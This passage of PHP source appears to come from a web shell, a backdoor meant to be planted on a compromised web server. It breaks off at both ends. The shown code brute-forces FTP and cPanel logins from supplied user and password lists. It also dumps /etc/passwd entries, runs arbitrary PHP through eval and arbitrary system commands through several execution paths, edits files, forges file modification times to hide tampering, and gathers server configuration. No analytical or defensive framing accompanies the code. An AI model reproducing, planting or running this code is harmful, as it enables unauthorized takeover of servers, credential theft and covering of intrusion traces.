Target : Username Password "; $i = 0; while ($i < 60000) { $line = posix_getpwuid($i); if (!empty($line)) { while (list($key, $vba_etcpwd) = each($line)) { echo "" . $vba_etcpwd . "\n"; break; } } $i++; } echo " $passlist Options : cPanel ftp ==>

"; ?> Error : Connection timed out , make confidence about validation of target !"; exit; } elseif (curl_errno($ch) == 0) { p("[ [email protected] ]# Attacking has been done! Username: $user / Password: $pass =>Login
"); } curl_close($ch); } function cpanel_check($host, $user, $pass, $timeout) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$host:2082"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if (curl_errno($ch) == 28) { print " Error : Connection timed out , make confidence about validation of target !"; exit; } elseif (curl_errno($ch) == 0) { p("[ [email protected] ]# Attacking has been done! Username: $user / Password: $pass
"); } curl_close($ch); } if (isset($submit) && !empty($submit)) { $userlist = explode("\n", $users); $passlist = explode("\n", $pass); p('[ [email protected] ]# Attacking ...
'); foreach ($userlist as $user) { $_user = trim($user); foreach ($passlist as $password) { $_pass = trim($password); if ($option =="ftp") { ftp_check($target, $_user, $_pass, $connect_timeout); } if ($option =="cpanel") { cpanel_check($target, $_user, $_pass, $connect_timeout); } } } } formfoot(); } elseif ($action =='etcpwd') { formhead(array('title' => 'Get /etc/passwd')); makehide('action', 'etcpwd'); makehide('dir', $nowpath); $i = 0; echo "

"; while ($i < 60000) { $line = posix_getpwuid($i); if (!empty($line)) { while (list($key, $vba_etcpwd) = each($line)) { echo "" . $vba_etcpwd . "\n"; break; } } $i++; } echo "

"; formfoot(); } elseif ($action =='eval') { $phpcode = trim($phpcode); if ($phpcode) { if (!preg_match('#<\?#si', $phpcode)) { $phpcode =""; } eval("?" . ">$phpcode 'Eval PHP Code')); makehide('action', 'eval'); maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode)); formfooter(); } elseif ($action =='editfile') { if (file_exists($opfile)) { $fp = @fopen($opfile, 'r'); $contents = @fread($fp, filesize($opfile)); @fclose($fp); $contents = htmlspecialchars($contents); } formhead(array('title' => 'Create / Edit File')); makehide('action', 'file'); makehide('dir', $nowpath); makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1)); maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents)); formfooter(); } elseif ($action =='newtime') { $opfilemtime = @filemtime($opfile); $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12); formhead(array('title' => 'Clone file was last modified time')); makehide('action', 'file'); makehide('dir', $nowpath); makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1)); makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1)); formfooter(); formhead(array('title' => 'Set last modified')); makehide('action', 'file'); makehide('dir', $nowpath); makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1)); p('

Instead »'); p('year:'); makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4)); p('month:'); makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2)); p('day:'); makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2)); p('hour:'); makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2)); p('minute:'); makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2)); p('second:'); makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2)); p('

'); formfooter(); } elseif ($action =='shell') { if (IS_WIN && IS_COM) { if ($program && $parameter) { $shell = new COM('Shell.Application'); $a = $shell->ShellExecute($program, $parameter); m('Program run has ' . (!$a ? 'success' : 'fail')); } !$program && $program ='c:\windows\system32\cmd.exe'; !$parameter && $parameter ='/c net start > ' . SA_ROOT . 'log.txt'; formhead(array('title' => 'Execute Program')); makehide('action', 'shell'); makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1)); p('

'); makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter)); makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute')); p('

'); formfoot(); } formhead(array('title' => 'Execute Command')); makehide('action', 'shell'); if (IS_WIN && IS_COM) { $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open'); makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1)); } p('

'); makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command)); makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute')); p('

'); formfoot(); if ($command) { p('

---

');
 if ($execfunc =='wscript' && IS_WIN && IS_COM) {
 $wsh = new COM('WScript.shell');
 $exec = $wsh->exec('cmd.exe /c ' . $command);
 $stdout = $exec->StdOut();
 $stroutput = $stdout->ReadAll();
 echo $stroutput;
 } elseif ($execfunc =='proc_open' && IS_WIN && IS_COM) {
 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
 if (is_resource($process)) {
 fwrite($pipes[0], $command . "\r\n");
 fwrite($pipes[0], "exit\r\n");
 fclose($pipes[0]);
 while (!feof($pipes[1])) {
 echo fgets($pipes[1], 1024);
 }
 fclose($pipes[1]);
 while (!feof($pipes[2])) {
 echo fgets($pipes[2], 1024);
 }
 fclose($pipes[2]);
 proc_close($process);
 }
 } else {
 echo (execute($command));
 }
 p('

'); } } elseif ($action =='phpenv') { $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); !$dis_func && $dis_func ='No'; $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', (IS_PHPINFO ? 'Yes' : 'No')), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func),); if ($phpvarname) { m($phpvarname . ' : ' . getcfg($phpvarname)); } formhead(array('title' => 'Server environment')); makehide('action', 'phpenv'); makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1)); formfooter(); $hp = array(0 => 'Server', 1 => 'PHP'); for ($a = 0;$a < 2;$a++) { p('

' . $hp[$a] . ' »

'); p('

'); if ($a == 0) { for ($i = 1;$i <= 9;$i++) { p('
• ' . $info[$i][0] . ':' . $info[$i][1] . '
'); } } elseif ($a == 1) { for ($i = 10;$i <= 23;$i++) { p('
• ' . $info[$i][0] . ':' . $info[$i][1] . '
'); } } p('

'); } } else { m('Undefined Action'); } ?>'; echo $msg; echo '

';
 print_r($a);
 echo '